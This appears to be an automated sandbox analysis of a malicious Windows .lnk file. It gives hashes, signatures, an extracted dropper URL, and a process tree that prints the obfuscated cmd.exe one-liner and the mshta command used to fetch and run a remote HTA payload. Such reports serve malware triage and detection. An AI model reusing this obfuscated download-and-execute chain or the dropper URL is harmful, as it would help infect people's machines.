Analysis
- max time kernel
150s - max time network
142s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:29
Static task
static1
Behavioral task
behavioral1
Sample
DOC-G69IAU.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-G69IAU.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-G69IAU.lnk
- Size 2KB
- Sample260803-qrfrdscj81
- SHA256 68dd966bc6f2075390089881da1e87a63d73b873d9b2da5e2ea0b859001f5ea4
- MD5 4f76f3542a742f2259d8671e5dbc249c
- SHA1 3c5cae8c4cab9a56dee0a46b0b4464d586432eef
- SHA512 4d06ae38f44da04026caaccb9531b899e2a8b3b235a433ee0891d4c62e3fd066ce628e7d09770da53ecb1ce68586a854e0fc333f266f3a71ab53b27e2fb96841
- TLSH T1514123902BE90199F3BB5E36DEBEBB4189BBF9526C30D94C0850824D0825F05E877B67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3396 cmd.exe 3180 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3396 wrote to memory of 3180 3396 cmd.exe 90 PID 3180 wrote to memory of 2232 3180 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-G69IAU.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3396 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set haY=5mshop&&set CSV=ecnto&&set AzgX=e08ay7&set SYW=dbggeiwqawfdbg&set ZcQ=syszxdwmrqwbofbxeorosys&set gESMi=winnbtesmbyxewin&set eCd=netfmqtazoknet&set ETAX=cachehguodykpcache&set Pvkg=4stwn&&set ZO=jayrt&&set jolrK=1x2rtca3&set EcA=bakqftrzakshtwunlobbak&set HKHhS=dattgrcrunjsciegwdbgdat&set LeihG=cfgrhstyvyzcfg&set JlWLc=cfgxoooahricfg&&set Qd=http@s://@bro-@p@dffi@l@le@[email protected]/h@/@estag@io1@.@php@?@r=36076@1F@15794&&start /b !haY:~1,3!!CSV:~3,1!!AzgX:~3,1! !Qd:@=!&&set sTogd=done"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3180 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:2232
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